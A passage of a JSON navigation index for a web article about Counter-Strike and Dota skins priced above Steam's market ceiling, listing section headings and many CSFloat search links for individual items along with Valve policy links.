            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#dota"
          },
          {
            "level": 3,
            "text": "Heroic Brutal Crescent",
            "anchor": "pd-elite_skins--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#dota"
          },
          {
            "level": 3,
            "text": "Dark Artistry Cape",
            "anchor": "pd-elite_skins--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#dota"
          },
          {
            "level": 3,
            "text": "Corrupted Powered Star",
            "anchor": "pd-elite_skins--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#dota"
          },
          {
            "level": 2,
            "text": "The finding does not depend on the exact cap",
            "anchor": "pd-elite_skins--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#sensitivity"
          },
          {
            "level": 2,
            "text": "How few of these actually exist for sale",
            "anchor": "pd-elite_skins--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#scarcity"
          },
          {
            "level": 3,
            "text": "AWP | Dragon Lore",
            "anchor": "pd-elite_skins--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#scarcity"
          },
          {
            "level": 3,
            "text": "M4A4 | Howl",
            "anchor": "pd-elite_skins--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#scarcity"
          },
          {
            "level": 3,
            "text": "AK-47 | Wild Lotus",
            "anchor": "pd-elite_skins--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#scarcity"
          },
          {
            "level": 3,
            "text": "AWP | Gungnir",
            "anchor": "pd-elite_skins--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#scarcity"
          },
          {
            "level": 2,
            "text": "The dearer the item, the further from any observable venue",
            "anchor": "pd-elite_skins--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#ladder"
          },
          {
            "level": 2,
            "text": "All 419 observed categories",
            "anchor": "pd-elite_skins--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#register"
          },
          {
            "level": 2,
            "text": "Check the calculation",
            "anchor": "pd-elite_skins--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "Valve’s own ceiling and terms",
            "anchor": "pd-elite_skins--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "Where the prices come from",
            "anchor": "pd-elite_skins--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "What we could not obtain",
            "anchor": "pd-elite_skins--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "The earlier CSFloat register",
            "anchor": "pd-elite_skins--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "Valve's specific enforcement statement",
            "anchor": "pd-elite_skins--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          },
          {
            "level": 3,
            "text": "Interpretation boundary",
            "anchor": "pd-elite_skins--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/elite_skins#method"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/elite_skins"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "price-ladder atlas",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "Open the atlas ↗",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "price-ladder atlas",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#grading"
          },
          {
            "label": "Check all 419 source rows ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-above-the-ceiling.json"
          },
          {
            "label": "Community Market FAQ",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "CSMarketCap search for items above $1,800 ↗",
            "url": "https://csmarketcap.com/search?minPrice=1800&page=1"
          },
          {
            "label": "Subscriber Agreement",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022032/https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "2016 statement",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021947/https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Inspect the dated Skinport rows ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/skinport-floor-over-cap.json"
          },
          {
            "label": "API documentation ↗",
            "url": "https://docs.skinport.com/items"
          },
          {
            "label": "Open the dataset ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-above-the-ceiling.json"
          },
          {
            "label": "Open the float dataset ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-float-scarcity.json"
          },
          {
            "label": "Souvenir AK-47 | Point Disarray (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Point%20Disarray%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir P2000 | Wicked Sick (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20P2000%20%7C%20Wicked%20Sick%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Desert Eagle | Trigger Discipline (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Desert%20Eagle%20%7C%20Trigger%20Discipline%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Skeleton Knife | Case Hardened (Factory New) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Skeleton%20Knife%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Glock-18 | Water Elemental (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Glock-18%20%7C%20Water%20Elemental%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Titan (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Titan%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "Sticker | iBUYPOWER (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20iBUYPOWER%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Reason Gaming (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Reason%20Gaming%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir MP9 | Spy Prototype (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20MP9%20%7C%20Spy%20Prototype%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir FAMAS | Teardown (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20FAMAS%20%7C%20Teardown%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 6",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Hedge Maze (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Team Dignitas (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Team%20Dignitas%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "EMS Katowice 2014 Legends",
            "url": "https://csfloat.com/search?market_hash_name=EMS%20Katowice%202014%20Legends"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 5",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Pandora's Box (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Factory%20New%29"
          },
          {
            "label": "EMS Katowice 2014 Challengers",
            "url": "https://csfloat.com/search?market_hash_name=EMS%20Katowice%202014%20Challengers"
          },
          {
            "label": "Sticker | Vox Eminor (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Vox%20Eminor%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ StatTrak™ Navaja Knife | Blue Steel (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Navaja%20Knife%20%7C%20Blue%20Steel%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Ultraviolet (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Ultraviolet%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Skeleton Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Skeleton%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Team LDLC.com (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Team%20LDLC.com%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "Souvenir AK-47 | Head Shot (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Head%20Shot%20%28Field-Tested%29"
          },
          {
            "label": "StatTrak™ AK-47 | Case Hardened (Factory New) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Case%20Hardened%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir M4A4 | In Living Color (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20In%20Living%20Color%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir AWP | Gungnir (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Gungnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Talon Knife | Case Hardened (Battle-Scarred) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Battle-Scarred%29"
          },
          {
            "label": "Sticker | Happy (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Happy%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir USP-S | Kill Confirmed (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20USP-S%20%7C%20Kill%20Confirmed%20%28Field-Tested%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 1",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Field-Tested%29"
          },
          {
            "label": "Souvenir AK-47 | Wild Lotus (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29"
          },
          {
            "label": "AK-47 | Wild Lotus (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Factory%20New%29"
          },
          {
            "label": "StatTrak™ M4A4 | Howl (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 2",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AK-47 | Wild Lotus (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Wild%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir M4A4 | Howl (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Marble Fade (Factory New) | 1st",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Marble%20Fade%20%28Factory%20New%29"
          },
          {
            "label": "★ Skeleton Knife | Case Hardened (Well-Worn) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Skeleton%20Knife%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "Souvenir AWP | Gungnir (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Gungnir%20%28Factory%20New%29"
          },
          {
            "label": "DreamHack 2014 Cobblestone Souvenir Package",
            "url": "https://csfloat.com/search?market_hash_name=DreamHack%202014%20Cobblestone%20Souvenir%20Package"
          },
          {
            "label": "Souvenir AWP | Dragon Lore (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Dragon%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir P2000 | Wicked Sick (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20P2000%20%7C%20Wicked%20Sick%20%28Field-Tested%29"
          },
          {
            "label": "AWP | Gungnir (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir PP-Bizon | Death Rattle (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20PP-Bizon%20%7C%20Death%20Rattle%20%28Battle-Scarred%29"
          },
          {
            "label": "Souvenir AK-47 | Case Hardened (Battle-Scarred) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AK-47%20%7C%20Case%20Hardened%20%28Battle-Scarred%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | Natus Vincere (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20Natus%20Vincere%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "AWP | Dragon Lore (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Galil AR | Sandstorm (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Galil%20AR%20%7C%20Sandstorm%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir MP9 | Nexus (Battle-Scarred)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20MP9%20%7C%20Nexus%20%28Battle-Scarred%29"
          },
          {
            "label": "AK-47 | Wild Lotus (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Minimal%20Wear%29"
          },
          {
            "label": "AWP | Gungnir (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Minimal%20Wear%29"
          },
          {
            "label": "StatTrak™ M4A4 | Howl (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir R8 Revolver | Canal Spray (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20R8%20Revolver%20%7C%20Canal%20Spray%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Talon Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Talon%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 3",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir AWP | Dragon Lore (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Dragon%20Lore%20%28Minimal%20Wear%29"
          },
          {
            "label": "StatTrak™ AK-47 | Case Hardened (Minimal Wear) | Tier 1",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Factory%20New%29"
          },
          {
            "label": "AWP | Dragon Lore (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Sport Gloves | Superconductor (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Superconductor%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Ursus Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Ursus%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "StatTrak™ M4A4 | Howl (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Well-Worn%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Marble Fade (Minimal Wear) | 2nd",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Marble%20Fade%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir USP-S | Whiteout (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20USP-S%20%7C%20Whiteout%20%28Factory%20New%29"
          },
          {
            "label": "Sticker | HellRaisers (Holo) | Katowice 2014",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20HellRaisers%20%28Holo%29%20%7C%20Katowice%202014"
          },
          {
            "label": "★ M9 Bayonet | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Butterfly Knife | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir Glock-18 | Gamma Doppler (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Glock-18%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Souvenir Glock-18 | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20Glock-18%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "Sticker Slab | Harp of War (Holo)",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20Slab%20%7C%20Harp%20of%20War%20%28Holo%29"
          },
          {
            "label": "Sticker | captainMo (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20captainMo%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "Sticker | bondik (Gold) | Boston 2018",
            "url": "https://csfloat.com/search?market_hash_name=Sticker%20%7C%20bondik%20%28Gold%29%20%7C%20Boston%202018"
          },
          {
            "label": "Souvenir MP5-SD | Lime Hex (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20MP5-SD%20%7C%20Lime%20Hex%20%28Field-Tested%29"
          },
          {
            "label": "★ Classic Knife | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Classic%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ M9 Bayonet | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "Souvenir AWP | Gungnir (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20AWP%20%7C%20Gungnir%20%28Field-Tested%29"
          },
          {
            "label": "★ StatTrak™ Flip Knife | Case Hardened (Minimal Wear) | Blue Gem",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Flip%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Karambit | Gamma Doppler (Factory New) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Gamma%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Classic Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Classic%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Falchion Knife | Scorched (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Falchion%20Knife%20%7C%20Scorched%20%28Factory%20New%29"
          },
          {
            "label": "AK-47 | Wild Lotus (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Field-Tested%29"
          },
          {
            "label": "AWP | Gungnir (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Field-Tested%29"
          },
          {
            "label": "★ M9 Bayonet | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 5",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Karambit | Doppler (Minimal Wear) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 4",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Crimson%20Kimono%20%28Minimal%20Wear%29"
          },
          {
            "label": "StatTrak™ M4A4 | Howl (Field-Tested)",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "★ StatTrak™ Huntsman Knife | Crimson Web (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Huntsman%20Knife%20%7C%20Crimson%20Web%20%28Factory%20New%29"
          },
          {
            "label": "★ M9 Bayonet | Doppler (Factory New) | Black Pearl",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20M9%20Bayonet%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ StatTrak™ Karambit | Doppler (Factory New) | Ruby",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Karambit%20%7C%20Doppler%20%28Factory%20New%29"
          },
          {
            "label": "★ Karambit | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Karambit%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ Butterfly Knife | Gamma Doppler (Minimal Wear) | Emerald",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Butterfly%20Knife%20%7C%20Gamma%20Doppler%20%28Minimal%20Wear%29"
          },
          {
            "label": "★ StatTrak™ Bayonet | Ultraviolet (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20StatTrak%E2%84%A2%20Bayonet%20%7C%20Ultraviolet%20%28Factory%20New%29"
          },
          {
            "label": "★ Sport Gloves | Hedge Maze (Minimal Wear)",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Minimal%20Wear%29"
          },
          {
            "label": "AWP | Gungnir (Well-Worn)",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Well-Worn%29"
          },
          {
            "label": "Souvenir PP-Bizon | Traitor (Factory New)",
            "url": "https://csfloat.com/search?market_hash_name=Souvenir%20PP-Bizon%20%7C%20Traitor%20%28Factory%20New%29"
          },
          {
            "label": "M4A4 | Howl (Factory New)",
